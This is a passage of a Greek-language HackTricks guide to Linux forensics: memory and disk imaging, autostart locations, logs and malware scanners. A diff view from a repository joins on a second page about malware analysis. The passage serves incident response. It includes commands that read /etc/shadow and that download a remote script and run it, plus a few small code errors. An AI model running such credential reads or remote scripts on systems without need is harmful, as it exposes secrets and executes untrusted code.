free #Meam and swap space
w #Who is connected
last -Faiwx #Logins
lsmod #What is loaded
cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
```
#### Suspicious information
Κατά την απόκτηση βασικών πληροφοριών, θα πρέπει να ελέγξετε για περίεργα πράγματα όπως:
- **Διεργασίες root** συνήθως εκτελούνται με χαμηλούς PIDS, οπότε αν βρείτε μια διεργασία root με μεγάλο PID, μπορεί να υποψιαστείτε
- Ελέγξτε για **καταγεγραμμένες συνδέσεις** χρηστών χωρίς shell μέσα στο `/etc/passwd`
- Ελέγξτε για **hash κωδικών πρόσβασης** μέσα στο `/etc/shadow` για χρήστες χωρίς shell
### Memory Dump
Για να αποκτήσετε τη μνήμη του τρέχοντος συστήματος, συνιστάται να χρησιμοποιήσετε [**LiME**](https://github.com/504ensicsLabs/LiME).\
Για να **συγκεντρώσετε** το, πρέπει να χρησιμοποιήσετε τον **ίδιο πυρήνα** που χρησιμοποιεί η μηχανή του θύματος.
> [!NOTE]
> Θυμηθείτε ότι **δεν μπορείτε να εγκαταστήσετε το LiME ή οτιδήποτε άλλο** στη μηχανή του θύματος, καθώς θα κάνει πολλές αλλαγές σε αυτήν
Έτσι, αν έχετε μια ταυτόσημη έκδοση του Ubuntu, μπορείτε να χρησιμοποιήσετε `apt-get install lime-forensics-dkms`\
Σε άλλες περιπτώσεις, πρέπει να κατεβάσετε [**LiME**](https://github.com/504ensicsLabs/LiME) από το github και να το συγκεντρώσετε με σωστές κεφαλίδες πυρήνα. Για να **αποκτήσετε τις ακριβείς κεφαλίδες πυρήνα** της μηχανής του θύματος, μπορείτε απλά να **αντιγράψετε τον κατάλογο** `/lib/modules/<kernel version>` στη μηχανή σας και στη συνέχεια να **συγκεντρώσετε** το LiME χρησιμοποιώντας αυτές:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
LiME υποστηρίζει 3 **μορφές**:
- Raw (κάθε τμήμα συνδυασμένο μαζί)
- Padded (ίδιο με το raw, αλλά με μηδενικά στα δεξιά bits)
- Lime (συνιστώμενη μορφή με μεταδεδομένα)
LiME μπορεί επίσης να χρησιμοποιηθεί για **να στείλει το dump μέσω δικτύου** αντί να το αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι όπως: `path=tcp:4444`
### Disk Imaging
#### Shutting down
Πρώτα απ' όλα, θα χρειαστεί να **κλείσετε το σύστημα**. Αυτό δεν είναι πάντα επιλογή καθώς μερικές φορές το σύστημα θα είναι ένας παραγωγικός διακομιστής που η εταιρεία δεν μπορεί να αντέξει να κλείσει.\
Υπάρχουν **2 τρόποι** για να κλείσετε το σύστημα, μια **κανονική απενεργοποίηση** και μια **"τραβήξτε το βύσμα" απενεργοποίηση**. Η πρώτη θα επιτρέψει στους **διαδικασίες να τερματιστούν όπως συνήθως** και το **filesystem** να είναι **συγχρονισμένο**, αλλά θα επιτρέψει επίσης την πιθανή **κακόβουλη λογισμική** να **καταστρέψει αποδείξεις**. Η προσέγγιση "τραβήξτε το βύσμα" μπορεί να φέρει **κάποια απώλεια πληροφοριών** (όχι πολλές πληροφορίες θα χαθούν καθώς έχουμε ήδη πάρει μια εικόνα της μνήμης) και η **κακόβουλη λογισμική δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν **υποψιάζεστε** ότι μπορεί να υπάρχει **κακόβουλη λογισμική**, απλώς εκτελέστε την **εντολή** **`sync`** στο σύστημα και τραβήξτε το βύσμα.
#### Taking an image of the disk
Είναι σημαντικό να σημειωθεί ότι **πριν συνδέσετε τον υπολογιστή σας σε οτιδήποτε σχετίζεται με την υπόθεση**, πρέπει να είστε σίγουροι ότι θα **τοποθετηθεί ως μόνο για ανάγνωση** για να αποφύγετε την τροποποίηση οποιασδήποτε πληροφορίας.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### Προ-ανάλυση εικόνας δίσκου
Εικόνα μιας εικόνας δίσκου χωρίς περισσότερα δεδομένα.
```bash
#Find out if it's a disk image using "file" command
file disk.img
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)
#Check which type of disk image it's
img_stat -t evidence.img
raw
#You can list supported types with
img_stat -i list
Supported image format types:
raw (Single or split raw file (dd))
aff (Advanced Forensic Format)
afd (AFF Multiple File)
afm (AFF with external metadata)
afflib (All AFFLIB image formats (including beta ones))
ewf (Expert Witness Format (EnCase))
#Data of the image
fsstat -i raw -f ext4 disk.img
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext4
Volume Name:
Volume ID: 162850f203fd75afab4f1e4736a7e776
Last Written at: 2020-02-06 06:22:48 (UTC)
Last Checked at: 2020-02-06 06:15:09 (UTC)
Last Mounted at: 2020-02-06 06:15:18 (UTC)
Unmounted properly
Last mounted on: /mnt/disk0
Source OS: Linux
[...]
#ls inside the image
fls -i raw -f ext4 disk.img
d/d 11: lost+found
d/d 12: Documents
d/d 8193: folder1
d/d 8194: folder2
V/V 65537: $OrphanFiles
#ls inside folder
fls -i raw -f ext4 disk.img 12
r/r 16: secret.txt
#cat file inside image
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
## Αναζήτηση για γνωστό Malware
### Τροποποιημένα Αρχεία Συστήματος
Το Linux προσφέρει εργαλεία για την εξασφάλιση της ακεραιότητας των συστημικών στοιχείων, κρίσιμα για την ανίχνευση δυνητικά προβληματικών αρχείων.
- **Συστήματα βασισμένα σε RedHat**: Χρησιμοποιήστε `rpm -Va` για μια ολοκληρωμένη έλεγχο.
- **Συστήματα βασισμένα σε Debian**: `dpkg --verify` για αρχική επαλήθευση, ακολουθούμενη από `debsums | grep -v "OK$"` (μετά την εγκατάσταση του `debsums` με `apt-get install debsums`) για την αναγνώριση τυχόν προβλημάτων.
### Ανιχνευτές Malware/Rootkit
Διαβάστε την παρακάτω σελίδα για να μάθετε για εργαλεία που μπορεί να είναι χρήσιμα για την εύρεση malware:
{{#ref}}
malware-analysis.md
{{#endref}}
## Αναζήτηση εγκατεστημένων προγραμμάτων
Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα σε συστήματα Debian και RedHat, εξετάστε το ενδεχόμενο να αξιοποιήσετε τα συστημικά αρχεία καταγραφής και τις βάσεις δεδομένων παράλληλα με χειροκίνητους ελέγχους σε κοινές καταλόγους.
- Για Debian, ελέγξτε _**`/var/lib/dpkg/status`**_ και _**`/var/log/dpkg.log`**_ για να αποκτήσετε λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες.
- Οι χρήστες RedHat μπορούν να ερωτήσουν τη βάση δεδομένων RPM με `rpm -qa --root=/mntpath/var/lib/rpm` για να καταγράψουν τα εγκατεστημένα πακέτα.
Για να αποκαλύψετε λογισμικό που έχει εγκατασταθεί χειροκίνητα ή εκτός αυτών των διαχειριστών πακέτων, εξερευνήστε καταλόγους όπως _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, και _**`/sbin`**_. Συνδυάστε τις καταχωρήσεις καταλόγων με εντολές συγκεκριμένες για το σύστημα για να εντοπίσετε εκτελέσιμα που δεν σχετίζονται με γνωστά πακέτα, ενισχύοντας την αναζήτησή σας για όλα τα εγκατεστημένα προγράμματα.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
cat /var/log/dpkg.log | grep installed
# RedHat RPM database query
rpm -qa --root=/mntpath/var/lib/rpm
# Listing directories for manual installations
ls /usr/sbin /usr/bin /bin /sbin
# Identifying non-package executables (Debian)
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
# Identifying non-package executables (RedHat)
find /sbin/ exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep <something>
```
## Ανάκτηση Διαγραμμένων Εκτελέσιμων Αρχείων
Φανταστείτε μια διαδικασία που εκτελέστηκε από το /tmp/exec και στη συνέχεια διαγράφηκε. Είναι δυνατόν να την εξάγουμε.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
## Εξέταση Τοποθεσιών Αυτοεκκίνησης
### Προγραμματισμένα Καθήκοντα
```bash
cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \
/var/spool/anacron \
/etc/cron* \
/etc/at* \
/etc/anacrontab \
/etc/incron.d/* \
/var/spool/incron/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
### Υπηρεσίες
Διαδρομές όπου ένα κακόβουλο λογισμικό θα μπορούσε να εγκατασταθεί ως υπηρεσία:
- **/etc/inittab**: Καλεί σενάρια αρχικοποίησης όπως το rc.sysinit, κατευθύνοντας περαιτέρω σε σενάρια εκκίνησης.
- **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, το δεύτερο βρίσκεται σε παλαιότερες εκδόσεις Linux.
- **/etc/init.d/**: Χρησιμοποιείται σε ορισμένες εκδόσεις Linux όπως το Debian για την αποθήκευση σεναρίων εκκίνησης.
- Οι υπηρεσίες μπορούν επίσης να ενεργοποιηθούν μέσω **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την παραλλαγή του Linux.
- **/etc/systemd/system**: Ένας φάκελος για σενάρια διαχειριστή συστήματος και υπηρεσιών.
- **/etc/systemd/system/multi-user.target.wants/**: Περιέχει συνδέσμους σε υπηρεσίες που θα πρέπει να ξεκινούν σε επίπεδο εκκίνησης πολλαπλών χρηστών.
- **/usr/local/etc/rc.d/**: Για προσαρμοσμένες ή τρίτων υπηρεσίες.
- **\~/.config/autostart/**: Για αυτόματες εφαρμογές εκκίνησης που σχετίζονται με τον χρήστη, οι οποίες μπορεί να είναι κρυψώνες για κακόβουλο λογισμικό που στοχεύει χρήστες.
- **/lib/systemd/system/**: Προεπιλεγμένα αρχεία μονάδας σε επίπεδο συστήματος που παρέχονται από εγκατεστημένα πακέτα.
### Μονάδες Πυρήνα
Οι μονάδες πυρήνα Linux, που συχνά χρησιμοποιούνται από κακόβουλο λογισμικό ως στοιχεία rootkit, φορτώνονται κατά την εκκίνηση του συστήματος. Οι φάκελοι και τα αρχεία που είναι κρίσιμα για αυτές τις μονάδες περιλαμβάνουν:
- **/lib/modules/$(uname -r)**: Περιέχει μονάδες για την τρέχουσα έκδοση του πυρήνα.
- **/etc/modprobe.d**: Περιέχει αρχεία ρυθμίσεων για τον έλεγχο της φόρτωσης μονάδων.
- **/etc/modprobe** και **/etc/modprobe.conf**: Αρχεία για παγκόσμιες ρυθμίσεις μονάδων.
### Άλλες Τοποθεσίες Αυτόματης Εκκίνησης
Το Linux χρησιμοποιεί διάφορα αρχεία για την αυτόματη εκτέλεση προγραμμάτων κατά την είσοδο του χρήστη, ενδεχομένως φιλοξενώντας κακόβουλο λογισμικό:
- **/etc/profile.d/**\*, **/etc/profile**, και **/etc/bash.bashrc**: Εκτελούνται για οποιαδήποτε είσοδο χρήστη.
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, και **\~/.config/autostart**: Αρχεία που σχετίζονται με τον χρήστη που εκτελούνται κατά την είσοδό τους.
- **/etc/rc.local**: Εκτελείται μετά την εκκίνηση όλων των υπηρεσιών του συστήματος, σηματοδοτώντας το τέλος της μετάβασης σε περιβάλλον πολλαπλών χρηστών.
## Εξέταση Καταγραφών
Τα συστήματα Linux παρακολουθούν τις δραστηριότητες χρηστών και τα γεγονότα του συστήματος μέσω διαφόρων αρχείων καταγραφής. Αυτές οι καταγραφές είναι κρίσιμες για την αναγνώριση μη εξουσιοδοτημένης πρόσβασης, λοιμώξεων από κακόβουλο λογισμικό και άλλων περιστατικών ασφαλείας. Κύρια αρχεία καταγραφής περιλαμβάνουν:
- **/var/log/syslog** (Debian) ή **/var/log/messages** (RedHat): Καταγράφουν μηνύματα και δραστηριότητες σε επίπεδο συστήματος.
- **/var/log/auth.log** (Debian) ή **/var/log/secure** (RedHat): Καταγράφουν προσπάθειες αυθεντικοποίησης, επιτυχείς και αποτυχημένες συνδέσεις.
- Χρησιμοποιήστε `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` για να φιλτράρετε σχετικά γεγονότα αυθεντικοποίησης.
- **/var/log/boot.log**: Περιέχει μηνύματα εκκίνησης του συστήματος.
- **/var/log/maillog** ή **/var/log/mail.log**: Καταγράφει δραστηριότητες του διακομιστή email, χρήσιμο για την παρακολούθηση υπηρεσιών που σχετίζονται με email.
- **/var/log/kern.log**: Αποθηκεύει μηνύματα πυρήνα, συμπεριλαμβανομένων σφαλμάτων και προειδοποιήσεων.
- **/var/log/dmesg**: Περιέχει μηνύματα οδηγών συσκευών.
- **/var/log/faillog**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης, βοηθώντας στις έρευνες παραβίασης ασφαλείας.
- **/var/log/cron**: Καταγράφει εκτελέσεις εργασιών cron.
- **/var/log/daemon.log**: Παρακολουθεί δραστηριότητες υπηρεσιών παρασκηνίου.
- **/var/log/btmp**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης.
- **/var/log/httpd/**: Περιέχει αρχεία καταγραφής σφαλμάτων και πρόσβασης του Apache HTTPD.
- **/var/log/mysqld.log** ή **/var/log/mysql.log**: Καταγράφει δραστηριότητες της βάσης δεδομένων MySQL.
- **/var/log/xferlog**: Καταγράφει μεταφορές αρχείων FTP.
- **/var/log/**: Ελέγξτε πάντα για απροσδόκητες καταγραφές εδώ.
> [!NOTE]
> Οι καταγραφές συστήματος Linux και τα υποσυστήματα ελέγχου μπορεί να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση παραβίασης ή περιστατικού κακόβουλου λογισμικού. Δεδομένου ότι οι καταγραφές σε συστήματα Linux περιέχουν γενικά μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τις διαγράφουν τακτικά. Επομένως, κατά την εξέταση διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να αναζητήσετε κενά ή μη κανονικές καταχωρήσεις που μπορεί να είναι ένδειξη διαγραφής ή παραποίησης.
**Το Linux διατηρεί ένα ιστορικό εντολών για κάθε χρήστη**, αποθηκευμένο σε:
- \~/.bash_history
- \~/.zsh_history
- \~/.zsh_sessions/\*
- \~/.python_history
- \~/.\*\_history
Επιπλέον, η εντολή `last -Faiwx` παρέχει μια λίστα με τις συνδέσεις χρηστών. Ελέγξτε την για άγνωστες ή απροσδόκητες συνδέσεις.
Ελέγξτε αρχεία που μπορούν να παραχωρήσουν επιπλέον δικαιώματα:
- Εξετάστε το `/etc/sudoers` για απροσδόκητα δικαιώματα χρηστών που μπορεί να έχουν παραχωρηθεί.
- Εξετάστε το `/etc/sudoers.d/` για απροσδόκητα δικαιώματα χρηστών που μπορεί να έχουν παραχωρηθεί.
- Εξετάστε το `/etc/groups` για να εντοπίσετε οποιαδήποτε ασυνήθιστη μέλη ομάδας ή δικαιώματα.
- Εξετάστε το `/etc/passwd` για να εντοπίσετε οποιαδήποτε ασυνήθιστη μέλη ομάδας ή δικαιώματα.
Ορισμένες εφαρμογές επίσης δημιουργούν τα δικά τους αρχεία καταγραφής:
- **SSH**: Εξετάστε το _\~/.ssh/authorized_keys_ και _\~/.ssh/known_hosts_ για μη εξουσιοδοτημένες απομακρυσμένες συνδέσεις.
- **Gnome Desktop**: Ρίξτε μια ματιά στο _\~/.recently-used.xbel_ για πρόσφατα προσπελάσιμα αρχεία μέσω εφαρμογών Gnome.
- **Firefox/Chrome**: Ελέγξτε το ιστορικό του προγράμματος περιήγησης και τις λήψεις στο _\~/.mozilla/firefox_ ή _\~/.config/google-chrome_ για ύποπτες δραστηριότητες.
- **VIM**: Εξετάστε το _\~/.viminfo_ για λεπτομέρειες χρήσης, όπως διαδρομές αρχείων που προσπελάστηκαν και ιστορικό αναζητήσεων.
- **Open Office**: Ελέγξτε για πρόσφατη πρόσβαση σε έγγραφα που μπορεί να υποδηλώνει παραβιασμένα αρχεία.
- **FTP/SFTP**: Εξετάστε τα αρχεία καταγραφής στο _\~/.ftp_history_ ή _\~/.sftp_history_ για μεταφορές αρχείων που μπορεί να είναι μη εξουσιοδοτημένες.
- **MySQL**: Εξετάστε το _\~/.mysql_history_ για εκτελεσμένα ερωτήματα MySQL, που μπορεί να αποκαλύπτουν μη εξουσιοδοτημένες δραστηριότητες βάσης δεδομένων.
- **Less**: Αναλύστε το _\~/.lesshst_ για ιστορικό χρήσης, συμπεριλαμβανομένων των αρχείων που προβλήθηκαν και των εντολών που εκτελέστηκαν.
- **Git**: Εξετάστε το _\~/.gitconfig_ και το έργο _.git/logs_ για αλλαγές σε αποθετήρια.
### Καταγραφές USB
[**usbrip**](https://github.com/snovvcrash/usbrip) είναι ένα μικρό κομμάτι λογισμικού γραμμένο σε καθαρή Python 3 που αναλύει τα αρχεία καταγραφής Linux (`/var/log/syslog*` ή `/var/log/messages*` ανάλογα με τη διανομή) για την κατασκευή πινάκων ιστορικού γεγονότων USB.
Είναι ενδιαφέρον να **γνωρίζετε όλα τα USB που έχουν χρησιμοποιηθεί** και θα είναι πιο χρήσιμο αν έχετε μια εξουσιοδοτημένη λίστα USB για να βρείτε "γεγονότα παραβίασης" (η χρήση USB που δεν είναι μέσα σε αυτή τη λίστα).
### Εγκατάσταση
```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
```
### Παραδείγματα
```bash
usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
#Search for vid and/or pid
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
Περισσότερα παραδείγματα και πληροφορίες μέσα στο github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
## Ανασκόπηση Λογαριασμών Χρηστών και Δραστηριοτήτων Σύνδεσης
Εξετάστε τα _**/etc/passwd**_, _**/etc/shadow**_ και **ασφαλιστικά αρχεία** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν και ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα γεγονότα. Επίσης, ελέγξτε πιθανές επιθέσεις brute-force sudo.\
Επιπλέον, ελέγξτε αρχεία όπως _**/etc/sudoers**_ και _**/etc/groups**_ για απροσδόκητα προνόμια που δίνονται σε χρήστες.\
Τέλος, αναζητήστε λογαριασμούς με **κανέναν κωδικό πρόσβασης** ή **εύκολα μαντεύσιμους** κωδικούς πρόσβασης.
## Εξέταση Συστήματος Αρχείων
### Ανάλυση Δομών Συστήματος Αρχείων σε Έρευνες Κακόβουλου Λογισμικού
Κατά την έρευνα περιστατικών κακόβουλου λογισμικού, η δομή του συστήματος αρχείων είναι μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο τη σειρά των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να εμποδίσουν αυτή την ανάλυση, όπως η τροποποίηση των χρονικών σφραγίδων αρχείων ή η αποφυγή του συστήματος αρχείων για αποθήκευση δεδομένων.
Για να αντισταθούμε σε αυτές τις μεθόδους αντεπίθεσης, είναι απαραίτητο να:
- **Διεξάγετε μια λεπτομερή ανάλυση χρονολογίας** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για την οπτικοποίηση χρονολογιών γεγονότων ή το `mactime` του **Sleuth Kit** για λεπτομερή δεδομένα χρονολογίας.
- **Εξετάστε απροσδόκητα σενάρια** στο $PATH του συστήματος, τα οποία μπορεί να περιλαμβάνουν shell ή PHP σενάρια που χρησιμοποιούνται από επιτιθέμενους.
- **Εξετάστε το `/dev` για ασυνήθιστα αρχεία**, καθώς παραδοσιακά περιέχει ειδικά αρχεία, αλλά μπορεί να φιλοξενεί αρχεία που σχετίζονται με κακόβουλο λογισμικό.
- **Αναζητήστε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (dot dot space) ή "..^G" (dot dot control-G), τα οποία θα μπορούσαν να κρύβουν κακόβουλο περιεχόμενο.
- **Εντοπίστε αρχεία setuid root** χρησιμοποιώντας την εντολή: `find / -user root -perm -04000 -print` Αυτό βρίσκει αρχεία με ανυψωμένα δικαιώματα, τα οποία θα μπορούσαν να καταχραστούν από επιτιθέμενους.
- **Ανασκοπήστε τις χρονικές σφραγίδες διαγραφής** στους πίνακες inode για να εντοπίσετε μαζικές διαγραφές αρχείων, πιθανώς υποδεικνύοντας την παρουσία rootkits ή trojans.
- **Επιθεωρήστε διαδοχικά inodes** για κοντινά κακόβουλα αρχεία μετά την αναγνώριση ενός, καθώς μπορεί να έχουν τοποθετηθεί μαζί.
- **Ελέγξτε κοινούς καταλόγους δυαδικών αρχείων** (_/bin_, _/sbin_) για πρόσφατα τροποποιημένα αρχεία, καθώς αυτά θα μπορούσαν να έχουν τροποποιηθεί από κακόβουλο λογισμικό.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
# Sort files in a directory by inode:
ls -lai /bin | sort -n```
````
> [!NOTE]
> Σημειώστε ότι ένας **επιτιθέμενος** μπορεί να **τροποποιήσει** τον **χρόνο** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να **τροποποιήσει** το **inode**. Εάν διαπιστώσετε ότι ένα **αρχείο** υποδεικνύει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια στιγμή** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **αναπάντεχα μεγαλύτερο**, τότε οι **χρόνοι του αρχείου αυτού τροποποιήθηκαν**.
## Σύγκριση αρχείων διαφορετικών εκδόσεων συστήματος αρχείων
### Περίληψη Σύγκρισης Εκδόσεων Συστήματος Αρχείων
Για να συγκρίνουμε εκδόσεις συστήματος αρχείων και να εντοπίσουμε αλλαγές, χρησιμοποιούμε απλοποιημένες εντολές `git diff`:
- **Για να βρείτε νέα αρχεία**, συγκρίνετε δύο καταλόγους:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
- **Για τροποποιημένο περιεχόμενο**, καταγράψτε τις αλλαγές αγνοώντας συγκεκριμένες γραμμές:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
- **Για να ανιχνεύσετε διαγραμμένα αρχεία**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
- **Επιλογές φίλτρου** (`--diff-filter`) βοηθούν στη στένωση σε συγκεκριμένες αλλαγές όπως προσθήκες (`A`), διαγραφές (`D`), ή τροποποιημένα (`M`) αρχεία.
- `A`: Προσθήκες αρχείων
- `C`: Αντιγραμμένα αρχεία
- `D`: Διαγραμμένα αρχεία
- `M`: Τροποποιημένα αρχεία
- `R`: Μετονομασμένα αρχεία
- `T`: Αλλαγές τύπου (π.χ., αρχείο σε symlink)
- `U`: Μη συγχωνευμένα αρχεία
- `X`: Άγνωστα αρχεία
- `B`: Σπασμένα αρχεία
## Αναφορές
- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf)
- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
- **Βιβλίο: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,154 +0,0 @@
# Ανάλυση Κακόβουλου Λογισμικού
{{#include ../../banners/hacktricks-training.md}}
## CheatSheets Εγκληματολογίας
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
## Διαδικτυακές Υπηρεσίες
- [VirusTotal](https://www.virustotal.com/gui/home/upload)
- [HybridAnalysis](https://www.hybrid-analysis.com)
- [Koodous](https://koodous.com)
- [Intezer](https://analyze.intezer.com)
- [Any.Run](https://any.run/)
## Offline Antivirus και Εργαλεία Ανίχνευσης
### Yara
#### Εγκατάσταση
```bash
sudo apt-get install -y yara
```
#### Ετοιμάστε κανόνες
Χρησιμοποιήστε αυτό το σενάριο για να κατεβάσετε και να συγχωνεύσετε όλους τους κανόνες yara malware από το github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
Δημιουργήστε τον φάκελο _**rules**_ και εκτελέστε τον. Αυτό θα δημιουργήσει ένα αρχείο με όνομα _**malware_rules.yar**_ που περιέχει όλους τους κανόνες yara για malware.
```bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
```
#### Σάρωση
```bash
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
```
#### YaraGen: Έλεγχος για κακόβουλο λογισμικό και Δημιουργία κανόνων
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**YaraGen**](https://github.com/Neo23x0/yarGen) για να δημιουργήσετε κανόνες yara από ένα δυαδικό αρχείο. Δείτε αυτά τα σεμινάρια: [**Μέρος 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Μέρος 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Μέρος 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
```bash
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
```
### ClamAV
#### Εγκατάσταση
```
sudo apt-get install -y clamav
```
#### Σάρωση
```bash
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
```
### [Capa](https://github.com/mandiant/capa)
**Capa** ανιχνεύει δυνητικά κακόβουλες **ικανότητες** σε εκτελέσιμα: PE, ELF, .NET. Έτσι θα βρει πράγματα όπως τακτικές Att\&ck ή ύποπτες ικανότητες όπως:
- έλεγχος για σφάλμα OutputDebugString
- εκτέλεση ως υπηρεσία
- δημιουργία διαδικασίας
Αποκτήστε το στο [**Github repo**](https://github.com/mandiant/capa).
### IOCs
IOC σημαίνει Δείκτης Συμβιβασμού. Ένα IOC είναι ένα σύνολο **συνθηκών που προσδιορίζουν** κάποιο δυνητικά ανεπιθύμητο λογισμικό ή επιβεβαιωμένο **κακόβουλο λογισμικό**. Οι Blue Teams χρησιμοποιούν αυτόν τον τύπο ορισμού για να **αναζητούν αυτόν τον τύπο κακόβουλων αρχείων** στα **συστήματα** και **δίκτυά** τους.\
Η κοινοποίηση αυτών των ορισμών είναι πολύ χρήσιμη, καθώς όταν εντοπίζεται κακόβουλο λογισμικό σε έναν υπολογιστή και δημιουργείται ένα IOC για αυτό το κακόβουλο λογισμικό, άλλες Blue Teams μπορούν να το χρησιμοποιήσουν για να εντοπίσουν το κακόβουλο λογισμικό πιο γρήγορα.
Ένα εργαλείο για τη δημιουργία ή την τροποποίηση IOCs είναι το [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**Redline**](https://www.fireeye.com/services/freeware/redline.html) για να **αναζητήσετε καθορισμένα IOCs σε μια συσκευή**.
### Loki
[**Loki**](https://github.com/Neo23x0/Loki) είναι ένας σαρωτής για Απλούς Δείκτες Συμβιβασμού.\
Η ανίχνευση βασίζεται σε τέσσερις μεθόδους ανίχνευσης:
```
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
```
### Linux Malware Detect
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) είναι ένας σαρωτής κακόβουλου λογισμικού για Linux που κυκλοφόρησε υπό την άδεια GNU GPLv2, σχεδιασμένος γύρω από τις απειλές που αντιμετωπίζονται σε κοινές φιλοξενούμενες περιβάλλοντα. Χρησιμοποιεί δεδομένα απειλών από συστήματα ανίχνευσης εισβολών στο δίκτυο για να εξάγει κακόβουλο λογισμικό που χρησιμοποιείται ενεργά σε επιθέσεις και δημιουργεί υπογραφές για ανίχνευση. Επιπλέον, τα δεδομένα απειλών προέρχονται επίσης από υποβολές χρηστών με τη δυνατότητα checkout του LMD και πόρους της κοινότητας κακόβουλου λογισμικού.
### rkhunter
